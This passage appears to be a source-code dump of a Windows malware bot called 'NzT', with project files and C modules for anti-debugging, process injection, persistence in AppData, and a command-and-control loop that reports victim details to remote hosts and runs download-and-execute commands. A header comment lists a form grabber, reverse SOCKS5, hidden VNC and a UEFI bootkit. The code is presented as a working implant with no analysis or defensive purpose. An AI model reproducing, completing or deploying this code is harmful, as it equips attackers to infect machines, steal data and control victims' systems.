<AdditionalOptions>-nologo -Gm- -GR- -EHa- -Oi -GS- -Gs9999999 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>
</AdditionalDependencies>
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
<GenerateDebugInformation>true</GenerateDebugInformation>
<LinkTimeCodeGeneration>
</LinkTimeCodeGeneration>
<EntryPointSymbol>EntryPoint</EntryPointSymbol>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
<IgnoreSpecificDefaultLibraries>
</IgnoreSpecificDefaultLibraries>
<RandomizedBaseAddress>true</RandomizedBaseAddress>
<ImageHasSafeExceptionHandlers>true</ImageHasSafeExceptionHandlers>
<AdditionalOptions>/STACK:0x100000,0x100000 %(AdditionalOptions)</AdditionalOptions>
</Link>
<ProjectReference>
<LinkLibraryDependencies>true</LinkLibraryDependencies>
</ProjectReference>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="antidebug.c" />
<ClCompile Include="injection.c" />
<ClCompile Include="install.c" />
<ClCompile Include="nzt.c" />
<ClCompile Include="command.c" />
<ClCompile Include="globals.c" />
<ClCompile Include="http.c" />
<ClCompile Include="report.c" />
<ClCompile Include="shared.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\Shared\nzt.h" />
<ClInclude Include="antidebug.h" />
<ClInclude Include="command.h" />
<ClInclude Include="globals.h" />
<ClInclude Include="http.h" />
<ClInclude Include="injection.h" />
<ClInclude Include="install.h" />
<ClInclude Include="report.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,80 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Source Files\Core">
<UniqueIdentifier>{3b15b3f2-24cc-4e25-a057-57e6df9926df}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\Core">
<UniqueIdentifier>{7b834a1a-b392-4ded-9aa9-67e9690a8512}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\Network">
<UniqueIdentifier>{e897b8a8-0247-4bb2-b798-865608ef6a92}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\Network">
<UniqueIdentifier>{def7c394-4c70-4813-a19d-7497c656d21e}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="http.c">
<Filter>Source Files\Network</Filter>
</ClCompile>
<ClCompile Include="report.c">
<Filter>Source Files\Network</Filter>
</ClCompile>
<ClCompile Include="globals.c">
<Filter>Source Files\Core</Filter>
</ClCompile>
<ClCompile Include="command.c">
<Filter>Source Files\Network</Filter>
</ClCompile>
<ClCompile Include="nzt.c">
<Filter>Source Files\Core</Filter>
</ClCompile>
<ClCompile Include="shared.c">
<Filter>Source Files\Core</Filter>
</ClCompile>
<ClCompile Include="antidebug.c">
<Filter>Source Files\Core</Filter>
</ClCompile>
<ClCompile Include="injection.c">
<Filter>Source Files\Core</Filter>
</ClCompile>
<ClCompile Include="install.c">
<Filter>Source Files\Core</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="globals.h">
<Filter>Header Files\Core</Filter>
</ClInclude>
<ClInclude Include="http.h">
<Filter>Header Files\Network</Filter>
</ClInclude>
<ClInclude Include="report.h">
<Filter>Header Files\Network</Filter>
</ClInclude>
<ClInclude Include="command.h">
<Filter>Header Files\Core</Filter>
</ClInclude>
<ClInclude Include="antidebug.h">
<Filter>Header Files\Core</Filter>
</ClInclude>
<ClInclude Include="injection.h">
<Filter>Header Files\Core</Filter>
</ClInclude>
<ClInclude Include="install.h">
<Filter>Header Files\Core</Filter>
</ClInclude>
<ClInclude Include="..\Shared\nzt.h">
<Filter>Header Files\Core</Filter>
</ClInclude>
</ItemGroup>
</Project>

4
src/Bot/Bot.vcxproj.user Normal file
View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

20
src/Bot/antidebug.c Normal file
View File

@ -0,0 +1,20 @@
#include <Windows.h>
#include "antidebug.h"
#include "nzt.h"
#include "utils.h"
BOOL IsBeingDebuggedAlt()
{
return GetPeb()->BeingDebugged;
}
WINERROR IsBeingDebugged()
{
WINERROR Status = NO_ERROR;
if (IsBeingDebuggedAlt())
return ERROR_UNSUCCESSFULL;
return Status;
}

9
src/Bot/antidebug.h Normal file
View File

@ -0,0 +1,9 @@
#ifndef __ANTIDEBUG_H__
#define __ANTIDEBUG_H__
#include "nzt.h"
BOOL IsBeingDebuggedAlt();
WINERROR IsBeingDebugged();
#endif //__ANTIDEBUG_H__

35
src/Bot/command.c Normal file
View File

@ -0,0 +1,35 @@
#include <Windows.h>
#ifdef _DEBUG
#include <stdio.h>
#endif
#include "nzt.h"
#include "command.h"
#include "utils.h"
VOID CommandExecute(
COMMANDS Command,
PCHAR* Parameter
)
{
DebugPrint("NzT: Executed command: %d %s", Command, Parameter[2]);
switch (Command)
{
case COMMAND_DL_EXEC:
{
DownloadFile(Parameter[2], TRUE);
break;
}
case COMMAND_UPDATE:
{
DownloadFile(Parameter[2], TRUE);
//uninstall and update registry key values to hold new version number
break;
}
case COMMAND_KILL:
API(ExitProcess(0));
}
}

19
src/Bot/command.h Normal file
View File

@ -0,0 +1,19 @@
#ifndef __COMMAND_H__
#define __COMMAND_H__
typedef enum
{
COMMAND_DL_EXEC = 0x992c01,
COMMAND_UPDATE = 0xba1af8,
COMMAND_LOAD_PLUGIN = 0xbfc330,
COMMAND_KILL = 0x2fe86c,
COMMAND_UNINSTALL = 0xa2327f
} COMMANDS;
VOID CommandExecute(
COMMANDS Command,
PCHAR* Parameter
);
#endif //__COMMAND_H__

87
src/Bot/globals.c Normal file
View File

@ -0,0 +1,87 @@
#include <Windows.h>
#include <synchapi.h>
#ifdef _DEBUG
#include <stdio.h>
#endif
#include "nzt.h"
#include "crt.h"
#include "globals.h"
#include "guid.h"
#include "utils.h"
#include "config.h"
DWORD g_CurrentProcessId = 0;
LPWSTR g_CurrentProcessPath = 0;
LPTSTR g_CurrentProcessName = 0;
HMODULE g_CurrentProcessModule = 0;
HMODULE g_CurrentModule = 0;
LPTSTR g_BotGuid = 0;
DWORD g_BotOS = 0;
DWORD g_BotArch = 0;
LPTSTR g_BotUsername = 0;
DWORD g_BotGroupId = 0;
LPWSTR g_BotInstallPath = 0;
HANDLE g_ShutdownEvent = 0;
HANDLE g_MainMutex = 0;
VOID GlobalsRelease()
{
if (g_CurrentProcessPath)
Free(g_CurrentProcessPath);
if (g_ShutdownEvent)
API(CloseHandle(g_ShutdownEvent));
}
BOOL GlobalsInitialize(HMODULE CurrentModule, ULONG Flags)
{
BOOL Status = TRUE;
g_CurrentModule = CurrentModule;
g_CurrentProcessModule = API(GetModuleHandleW)(NULL);
g_CurrentProcessId = API(GetCurrentProcessId)();
g_BotGuid = GetBotGuid();
g_BotGroupId = 0;
g_BotUsername = GetUsername();
g_BotInstallPath = NULL;
do
{
/*if (Flags & G_SHUTDOWN_EVENT)
{
if (!(g_ShutdownEvent = CreateEvent(NULL, TRUE, FALSE, 0)))
{
Status = GetLastError();
DebugPrint("Globals: Initialized ShutdownEvent failed with status: %u", Status);
break;
} // G_SHUTDOWN_EVENT
}*/
if (Flags & G_SYSTEM_VERSION)
{
g_BotOS = GetOperatingSystem();
g_BotArch = Is64Bit();
}
if (Flags & G_CURRENT_PROCESS_ID)
g_CurrentProcessId = API(GetCurrentProcessId)();
if (Flags & G_CURRENT_PROCESS_PATH)
{
if (!GetModulePath(API(GetModuleHandleW)(NULL), &g_CurrentProcessPath, FALSE))
{
Status = FALSE;
DebugPrint("NzT: Failed to initialize current process path!");
}
}
} while (FALSE);
if (Status != TRUE)
GlobalsRelease();
return Status;
}

27
src/Bot/globals.h Normal file
View File

@ -0,0 +1,27 @@
#ifndef __GLOBALS_H__
#define __GLOBALS_H__
#define G_SYSTEM_VERSION 1 // OS version
#define G_CURRENT_PROCESS_ID 2 // Current process ID
#define G_CURRENT_MODULE_PATH 4 // Current module full path for DLL (equal to G_PROCESS_MODULE_PATH for EXE)
#define G_CURRENT_PROCESS_PATH 8 // Current process module full path (for both DLL and EXE)
#define G_SHUTDOWN_EVENT 0x10 // Application shutdown event
extern DWORD g_CurrentProcessId;
extern LPWSTR g_CurrentProcessPath;
extern LPTSTR g_CurrentProcessName;
extern LPTSTR g_BotGuid;
extern DWORD g_BotOS;
extern DWORD g_BotArch;
extern LPTSTR g_BotUsername;
extern LPWSTR g_BotInstallPath;
extern HANDLE g_ShutdownEvent;
extern HANDLE g_MainMutex;
VOID GlobalsRelease();
BOOL GlobalsInitialize(HMODULE CurrentModule, ULONG Flags);
#endif //__GLOBALS_H__

120
src/Bot/http.c Normal file
View File

@ -0,0 +1,120 @@
#include <Windows.h>
#include <Wininet.h>
#include "nzt.h"
#include "http.h"
#include "utils.h"
HINTERNET HttpConnect(
LPSTR UserAgent,
LPSTR Host,
WORD Port,
DWORD Flags
)
{
HINTERNET Internet = 0;
HINTERNET Connect = 0;
do
{
Internet = API(InternetOpenW(L"NzT", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0));
if (Internet == NULL)
break;
Connect = API(InternetConnectA(Internet, Host, 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1));
if (Connect == NULL)
break;
} while (FALSE);
return Connect;
}
HINTERNET HttpRequest(
HINTERNET Connect,
BOOL bPost,
LPSTR URI,
LPSTR Referrer,
PCHAR Data,
DWORD Flags
)
{
HINTERNET Request = 0;
DWORD Size = sizeof(DWORD);
DWORD Status = 0;
BOOL Send = FALSE;
static LPSTR AcceptTypes[2] = { "*/*", NULL };
static TCHAR Header[] = ("Content-Type: application/x-www-form-urlencoded");
do
{
Request = API(HttpOpenRequestA(Connect, "POST", URI, NULL, NULL, AcceptTypes, 0, 1));
if (Request == NULL)
break;
Send = API(HttpSendRequestA(Request, Header, StringLengthA(Header), Data, StringLengthA(Data)));
if (Send == FALSE)
break;
return Request;
} while (FALSE);
return NULL;
}
BOOL HttpReceiveData(HINTERNET Request, PCHAR* Buffer)
{
CHAR Data[256] = { 0 };
DWORD Received = 0;
DWORD Read = 0;
ZeroMemory(&Data, sizeof(Data));
while (API(InternetReadFile(Request, Data, 256 - 1, &Received)) && Received != 0)
{
if (!ReallocEx(&(*Buffer), Read + Received + 1))
return FALSE;
MemoryCopy((*Buffer) + Read, &Data, Received);
ZeroMemory(&Data, sizeof(Data));
}
return TRUE;
}
BOOL HttpPostRequest(
PCHAR Host,
PCHAR URI,
PCHAR Data,
PCHAR* Response
)
{
HINTERNET Connect = 0;
HINTERNET Request = 0;
BOOL Status = FALSE;
do
{
Connect = HttpConnect(HTTP_USER_AGENT, Host, INTERNET_DEFAULT_HTTP_PORT, 0);
if (Connect == NULL)
break;
Request = HttpRequest(Connect, TRUE, URI, NULL, Data, 0);
if (Request == NULL)
break;
Status = HttpReceiveData(Request, Response);
} while (FALSE);
if (!Status)
DebugPrint("NzT: HttpPostRequest() failed!");
if (Connect != NULL)
API(InternetCloseHandle(Connect));
if (Request != NULL)
API(InternetCloseHandle(Request));
return Status;
}

15
src/Bot/http.h Normal file
View File

@ -0,0 +1,15 @@
#ifndef __HTTP_H__
#define __HTTP_H__
#define HTTP_USER_AGENT "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; NzT)"
#define HTTP_BUFFER_SIZE 4096
/* Functions */
BOOL HttpPostRequest(
PCHAR Host,
PCHAR URI,
PCHAR Data,
PCHAR* Response
);
#endif //__HTTP_H__

177
src/Bot/injection.c Normal file
View File

@ -0,0 +1,177 @@
#include <Windows.h>
#include "nzt.h"
#include "utils.h"
LPVOID GetImageBase(LPVOID ProcessAddress)
{
LPBYTE Address = (LPBYTE)ProcessAddress;
Address = (LPBYTE)((SIZE_T)Address & 0xFFFFFFFFFFFF0000);
for (;;)
{
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Address;
if (DosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
if (DosHeader->e_lfanew < 0x1000)
{
PIMAGE_NT_HEADERS NtHeaders = (PIMAGE_NT_HEADERS)&((unsigned char*)Address)[DosHeader->e_lfanew];
if (NtHeaders->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
Address -= 0x1000;
}
return Address;
}
VOID ProcessRelocation(PIMAGE_BASE_RELOCATION Relocation, DWORD ImageBase, DWORD Delta, DWORD Size)
{
PIMAGE_FIXUP_ENTRY Fixup;
DWORD PointerRva;
PIMAGE_BASE_RELOCATION LocalRelocation = Relocation;
while ((DWORD)LocalRelocation - (DWORD)Relocation < Size)
{
if (!LocalRelocation->SizeOfBlock)
break;
Fixup = (PIMAGE_FIXUP_ENTRY)((ULONG)LocalRelocation + sizeof(IMAGE_BASE_RELOCATION));
for (ULONG r = 0; r < (LocalRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1; r++)
{
PointerRva = LocalRelocation->VirtualAddress + Fixup->Offset;
if (Fixup->Type == IMAGE_REL_BASED_HIGHLOW)
*(PULONG)((ULONG)ImageBase + PointerRva) += Delta;
Fixup++;
}
LocalRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)LocalRelocation + LocalRelocation->SizeOfBlock);
}
return;
}
LPVOID InjectData(
HANDLE Process,
LPVOID Data,
DWORD Size
)
{
LPVOID Address;
if ((Address = NzT.Api.pVirtualAllocEx(Process, NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
return NULL;
if (!NzT.Api.pWriteProcessMemory(Process, Address, Data, Size, NULL))
{
NzT.Api.pVirtualFreeEx(Process, Address, Size, MEM_RELEASE);
return NULL;
}
return Address;
}
DWORD InjectCode(HANDLE Process, LPVOID Function)
{
HANDLE Map, RemoteThread, Mutex, RemoteMutex;
DWORD Base, Size, ViewSize, NewBaseAddress, Address, ProcessId;
LPVOID View;
NTSTATUS Status;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS NtHeaders;
ULONG RelativeRva, RelativeSize;
do
{
Map = 0;
RemoteThread = 0;
View = NULL;
Mutex = 0;
RemoteMutex = 0;
if ((ProcessId = GetProcessIdByHandle(Process)) == -1)
break;
if ((Mutex = CreateMutexOfProcess(ProcessId)) == 0)
break;
if (!NzT.Api.pDuplicateHandle(NzT.Api.pGetCurrentProcess(), Mutex, Process, &RemoteMutex, 0, FALSE, DUPLICATE_SAME_ACCESS))
break;
Base = (DWORD)GetImageBase(Function);
Size = ((PIMAGE_OPTIONAL_HEADER)((LPVOID)((PBYTE)(Base)+((PIMAGE_DOS_HEADER)
(Base))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))))->SizeOfImage;
if ((Map = NzT.Api.pCreateFileMappingW(NzT.Api.pGetCurrentProcess()
, NULL, PAGE_EXECUTE_READWRITE, 0, Size, NULL)) == 0)
break;
if ((View = NzT.Api.pMapViewOfFile(Map, FILE_MAP_WRITE, 0, 0, 0)) == NULL)
break;
MemoryCopy(View, (LPVOID)Base, Size);
ViewSize = 0;
NewBaseAddress = 0;
if ((Status = (NTSTATUS)NzT.Api.pNtMapViewOfSection(Map, Process, (PVOID*)&NewBaseAddress, 0, Size,
NULL, &ViewSize, (SECTION_INHERIT)1, 0, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
break;
DosHeader = (PIMAGE_DOS_HEADER)Base;
NtHeaders = NtHeaders = (PIMAGE_NT_HEADERS)RVATOVA(Base, DosHeader->e_lfanew);
RelativeRva = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
RelativeSize = NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
ProcessRelocation((PIMAGE_BASE_RELOCATION)(Base + RelativeRva), (DWORD)View, NewBaseAddress - Base, RelativeSize);
Address = (DWORD)Function - Base + NewBaseAddress;
} while (FALSE);
if (Mutex != 0)
API(CloseHandle)(Mutex);
if (Map != 0)
API(CloseHandle)(Map);
if (RemoteThread != 0)
API(CloseHandle)(RemoteThread);
if (View != NULL)
API(UnmapViewOfFile)(View);
return Address;
}
BOOL InjectBot(DWORD ProcessId, LPTHREAD_START_ROUTINE Thread)
{
DWORD Address;
HANDLE RemoteThread, Process;
BOOL Injected = FALSE;
if ((Process = NzT.Api.pOpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ |
PROCESS_CREATE_THREAD |
PROCESS_DUP_HANDLE
,FALSE, ProcessId)) == 0)
return FALSE;
if ((Address = InjectCode(Process, Thread)) == 0)
return FALSE;
if ((RemoteThread = API(CreateRemoteThread)(Process, NULL, 0, (LPTHREAD_START_ROUTINE)Address, NULL, 0, NULL)) != 0)
{
NzT.Api.pCloseHandle(RemoteThread);
Injected = TRUE;
}
API(CloseHandle)(Process);
return Injected;
}

6
src/Bot/injection.h Normal file
View File

@ -0,0 +1,6 @@
#ifndef __INJECTION_H__
#define __INJECTION_H__
BOOL InjectBot(DWORD ProcessId, LPTHREAD_START_ROUTINE Thread);
#endif //__INJECTION_H__

136
src/Bot/install.c Normal file
View File

@ -0,0 +1,136 @@
#include <Windows.h>
#include "install.h"
#include "nzt.h"
#include "crt.h"
#include "utils.h"
#include "config.h"
#include "strings.h"
#include "globals.h"
#include "file.h"
#include "registry.h"
static DWORD GenerateBotFileName(PDWORD Seed)
{
return(*Seed = 1664525 * (*Seed));
}
LPWSTR GetBotFileName(PDWORD Seed)
{
DWORD FileName = 0,
FileNameLength = 0;
wchar_t FileNameString[32] = { 0 };
FileName = GenerateBotFileName(Seed);
MemoryZero(&FileNameString, sizeof(FileNameString));
if ((FileNameLength = API(wsprintfW)(FileNameString, L"%x", FileName)) > 0)
return StringCopyW(FileNameString, FileNameLength);
return NULL;
}
LPWSTR GetBotDirectory()
{
LPWSTR AppData = NULL,
DirectoryName = NULL;
BOOL Status = FALSE;
if ((DirectoryName = GetBotFileName(GetSerialNumber())) == NULL)
return NULL;
if ((AppData = GetDirectoryPath(PATH_APPDATA)) != NULL)
Status = StringConcatW(&AppData, DirectoryName);
Free(DirectoryName);
if (!Status)
{
Free(AppData);
AppData = NULL;
}
return AppData;
}
LPWSTR GetBotPath()
{
LPWSTR Directory = NULL,
FileName = NULL;
BOOL Status = FALSE;
if ((FileName = GetBotFileName(GetSerialNumber())) == NULL)
return NULL;
if ((Directory = GetBotDirectory()) != NULL)
Status = StringConcatW(&Directory, WSTRING_BACKSLASH) && StringConcatW(&Directory, FileName) &&
StringConcatW(&Directory, WSTRING_DOT_EXE);
Free(FileName);
if (!Status)
{
Free(Directory);
Directory = NULL;
}
return Directory;
}
BOOL IsSystemInfected()
{
BOOL Infected = FALSE;
LPWSTR Path = NULL;
if ((Path = GetBotPath()) == NULL)
return FALSE;
Infected = StringCompareW(g_BotInstallPath, Path);
Free(Path);
return Infected;
}
//setup auto-start registry
//persistence keys
//config keys
//setup dynamic config
BOOL InstallBot()
{
LPWSTR Path = NULL,
Directory = NULL,
Key = NULL,
Config = NULL;
if ((Directory = GetBotDirectory()) == NULL)
return FALSE;
Path = GetBotPath();
if (Path != NULL)
{
DosPathToNtPath(&Path);
DosPathToNtPath(&Directory);
if (FileCreateDirectory(Directory))
{
DosPathToNtPath(&g_CurrentProcessPath);
FileCopy(g_CurrentProcessPath, Path, TRUE);
DebugPrintW(L"NzT: Install location: %ls", Path);
g_BotInstallPath = Path;
return TRUE;
}
}
DebugPrintW(L"NzT: Failed to install at :%ls", Path)
return FALSE;
}
BOOL UninstallBot()
{
LPWSTR Path = NULL,
Directory = NULL;
return FALSE;
}

10
src/Bot/install.h Normal file
View File

@ -0,0 +1,10 @@
#ifndef __INSTALL_H__
#define __INSTALL_H__
LPWSTR GetBotFileName(PDWORD Seed);
LPWSTR GetBotDirectory();
LPWSTR GetBotPath();
BOOL IsSystemInfected();
BOOL InstallBot();
#endif //__INSTALL_H__

121
src/Bot/nzt.c Normal file
View File

@ -0,0 +1,121 @@
/*
* - CORE
* [X] - HTTP/HTTPS secure C2 communication
* - Server -> Generate RSA keypair
* - Client -> Generate AES keypair -> Encrypt with server RSA keypair
* - Client -> Encrypt data + keypair -> send AES keypair to server -> Server decrypts encrypted key, and decrypts data
* [X] - Dynamic hashed API calls (Hell's Gate)
* [X] - Dynamic configuration
* [X] - x86<=>x64 process injection
* [X] - Hooking engine
* [X] - Anti-Hooking engine
* [X] - Modular plugin system
* [X] - Store and encrypt strings in seperate PE section
* [X] - UEFI Kit
*
* - PLUGINS
* [X] Form Grabber
* [X] Reverse Socks5
* [X] HVNC
*/
#include <Windows.h>
#include "crt.h"
#include "nzt.h"
#include "globals.h"
#include "report.h"
#include "antidebug.h"
#include "injection.h"
#include "utils.h"
#include "guid.h"
#include "install.h"
#include "config.h"
NzT_T NzT;
int BookitInitialize();
static WINERROR BotInitialize()
{
WINERROR Status = NO_ERROR;
MemoryZero(&NzT, sizeof(NzT_T));
// Check if NzT has a debugger detached, DestroyOS if true
if (IsBeingDebugged())
{
DebugPrint("NzT: Possible debugging detected, exiting...");
return ERROR_UNSUCCESSFULL;
}
// Dynamically resolve all Windows API function by hash
if (!ApiInitialize())
{
DebugPrint("NzT: failed to initialize API!");
return ERROR_UNSUCCESSFULL;
}
// Make sure only one instance
if (!(g_MainMutex = API(CreateMutexW)(NULL, FALSE, L"g_MainMutex")) || ((Status = API(GetLastError)()) == ERROR_ALREADY_EXISTS))
{
Status = FALSE;
DebugPrint("NzT: Error Mutex already exists, NzT is already running!");
return ERROR_UNSUCCESSFULL;
}
// Initinalize global variables
if (!GlobalsInitialize(API(GetModuleHandleW(NULL)), G_SYSTEM_VERSION | G_CURRENT_PROCESS_ID | G_CURRENT_PROCESS_PATH))
{
DebugPrint("NzT: Failed to initialize globals!");
return ERROR_UNSUCCESSFULL;
}
DebugPrint("NzT: Initialized!");
// Start NzT EFI Bootkit
BookitInitialize();
#ifdef _REPORT
StartReportThread();
#endif
#ifdef _INSTALL
if (!IsSystemInfected())
{
NzT.Type = NEW_INFECTION;
InstallBot();
}
else
{
NzT.Type = RUNNING_INFECTION;
}
#endif
return Status;
}
WINERROR BotShutdown()
{
WINERROR Status = NO_ERROR;
DebugPrint("NzT: Shutdown initiated");
if (g_ShutdownEvent)
{
API(SetEvent)(g_ShutdownEvent);
}
if (g_MainMutex)
{
API(ReleaseMutex(g_MainMutex));
API(CloseHandle(g_MainMutex));
}
return Status;
}
INT EntryPoint()
{
BotInitialize();
return 0;
}

109
src/Bot/report.c Normal file
View File

@ -0,0 +1,109 @@
#include <Windows.h>
#ifdef _DEBUG
#include <stdio.h>
#endif
#include "report.h"
#include "config.h"
#include "http.h"
#include "nzt.h"
#include "crt.h"
#include "utils.h"
#include "globals.h"
#include "command.h"
#include "strings.h"
long _atoi(const char* S)
{
long num = 0;
int i = 0;
// run till the end of the string is reached, or the
// current character is non-numeric
while (S[i] && (S[i] >= '0' && S[i] <= '9'))
{
num = num * 10 + (S[i] - '0');
i++;
}
return num;
}
VOID ProcessServerResponse(CONST PCHAR Response)
{
PCHAR Data[512] = { 0 };
PCHAR Token = NULL;
INT Parameters = 0;
MemoryZero(&Data, sizeof(Data));
Token = StringTokenizeA(Response, "|");
do
{
if (Parameters >= sizeof(Data) / sizeof(CHAR))
break;
Data[Parameters++] = Token;
} while (Token = StringTokenizeA(NULL, "|"));
if (!StringCompareA(Data[0], "COMMAND"))
CommandExecute(_atoi(Data[1]), Data);
else if (!StringCompareA(Data[0], "ERROR"))
DebugPrint("NzT: Report Error! Data: %s\n", Data);
}
DWORD ReportThread()
{
PCHAR Response = NULL;
static CHAR Data[512] = { 0 };
INT CurrentHost = 0;
while (TRUE)
{
MemoryZero(&Data, sizeof(Data));
if (NzT.Type == NEW_INFECTION)
API(wsprintfA)(Data, STRING_REPORT_DATA, NEW_INFECTION, g_BotGuid, g_BotOS, g_BotArch, g_BotUsername);
else
API(wsprintfA)(Data, STRING_REPORT_DATA, RUNNING_INFECTION, g_BotGuid, g_BotOS, g_BotArch, g_BotUsername);
do
{
if (!HttpPostRequest(g_Hosts[CurrentHost], STRING_REPORT_GATE_URL, Data, &Response))
{
DebugPrint("NzT: Failed to report to %s%s", g_Hosts[CurrentHost], STRING_REPORT_GATE_URL);
CurrentHost++;
break;
}
DebugPrint("NzT: Reported to %s%s", g_Hosts[CurrentHost], STRING_REPORT_GATE_URL);
if (Response == NULL)
break;
DebugPrint("NzT: Server Response %s", Response);
ProcessServerResponse(Response);
} while (FALSE);
if (Response != NULL)
{
Free(Response);
Response = NULL;
}
if (CurrentHost == g_NumberHosts)
CurrentHost = 0;
_Sleep(REPORT_TIME * 60000);
}
return 0;
}
BOOL StartReportThread(void)
{
if ((API(CreateThread)(0, 0, (LPTHREAD_START_ROUTINE)ReportThread, 0, 0, 0)) != 0)
return TRUE;
return FALSE;
}

6
src/Bot/report.h Normal file
View File

@ -0,0 +1,6 @@
#ifndef __REPORT_H__
#define __REPORT_H__
BOOL StartReportThread(void);
#endif //__REPORT_H__

39
src/Bot/shared.c Normal file
View File

@ -0,0 +1,39 @@
#ifndef __SHARED_H__
#define __SHARED_H__
#include "..\Shared\config.c"
#include "..\Shared\crt.c"
#include "..\Shared\api.c"
#include "..\Shared\utils.c"
#include "..\Shared\crypto.c"
#include "..\Shared\guid.c"
#include "..\Shared\file.c"
#include "..\Shared\registry.c"
#ifdef _DEBUG
#else
#pragma function(memset)
void *memset(void *dest, int c, size_t count)
{
char *bytes = (char *)dest;
while (count--)
{
*bytes++ = (char)c;
}
return dest;
}
#pragma function(memcpy)
void *memcpy(void *dest, const void *src, size_t count)
{
char *dest8 = (char *)dest;
const char *src8 = (const char *)src;
while (count--)
{
*dest8++ = *src8++;
}
return dest;
}
#endif
#endif //__SHARED_H__

39
src/Encryptor/Encryptor.c Normal file
View File

@ -0,0 +1,39 @@
#include <Windows.h>
#include <stdio.h>
#include "..\Shared\crt.c"
#include "..\Shared\api.c"
#include "..\Shared\utils.c"
#include "..\Shared\crypto.c"
#include "..\Shared\registry.c"
NzT_T NzT;
int main(int argc, char **argv)
{
CHAR Buffer[256] = { 0 };
DWORD Hash = 0;
if (argc < 2)
{
printf("Usage: Encryptor.exe [-a,-s,-x]\n -a [function name]\n\t-Get Crc32 hash of API function\n -s [string]\n\t-Encrypt string with RC4");
}
MemoryZero(&NzT, sizeof(NzT_T));
MemoryZero(&Buffer, sizeof(Buffer));
if (!ApiInitialize())
return -1;
if (!strcmp(argv[1], "-a"))
{
if (argv[2] == NULL)
return -1;
Hash = Crc32Hash(argv[2], strlen(argv[2]));
wsprintfA(Buffer, "%s 0x%lX", CharUpperA(argv[2]), Hash);
}
printf("%s\n", Buffer);
return 0;
}

View File

@ -0,0 +1,159 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{7931DABA-686D-4B7A-BEF9-DD52F1469367}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>Encryptor</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
